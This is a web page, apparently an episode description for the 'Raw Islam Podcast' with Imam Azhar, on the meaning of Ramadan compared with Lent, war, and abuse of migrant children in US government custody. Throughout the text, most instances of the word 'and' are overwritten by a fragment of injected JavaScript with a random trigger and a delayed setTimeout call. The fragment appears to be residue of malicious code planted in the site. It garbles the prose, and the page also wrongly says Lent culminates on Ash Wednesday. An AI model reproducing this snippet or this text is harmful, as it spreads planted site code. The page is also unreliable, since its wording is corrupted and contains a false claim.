On this episode of the Raw Islam Podcast with Imam Azhar the guys sit down to talk about the real Ramadan andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what it means to Muslims andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Non-Muslims.

The Imam talks about Lent, Lent is a season which is observed by Catholics around the world where they typically give up a type of food or a habit for 40 days andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it culminates on Ash Wednesday. This every much parallels the concept of Ramadan.

To lots of Non-Muslims, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to some Muslims, Ramadan means 29 to 30 days of fasting. That fasting means no food or water from sunrise to sunset. It is also filled with complaints about the not having water for long periods of time in the hot summer months, which also makes the fasting longer.

In the winter months, in the northern hemisphere, the sunset is around 7 or 8 o’clock. But, in the summer it can set around 9pm or later. This means Muslims can be fasting for up to 16 hours or more.

But is this what Ramadan is really about? Is this what we should honestly be focusing on before we enter the month of Ramadan?

The Imam admits right out the gate that neither he, nor B.C. Dodge, are experts on war or technical strategists. However, it does not take someone skilled in the tactics of battle to see that war is never the answer.

There are several hadiths that are sited where the Prophet (pbuh) says that it is not preferable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there are better ways to resolve issues.

Next the Imam tackles the topic of children in government custody. The news is reporting that over 4,000 minor children that were separated at the border have been abused while in government custody.

There are thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of children that have been taken from the parents, some that they have lost track of the parents andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and may never be reunited, but beyond that some 4,500 of them have been sexually abused while in the custody of the US Government.

All of this causes Imam Azhar to make a prediction about the laws that surround sexual abouse andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and children…what is it? And is he right? You have to listen in to find out!
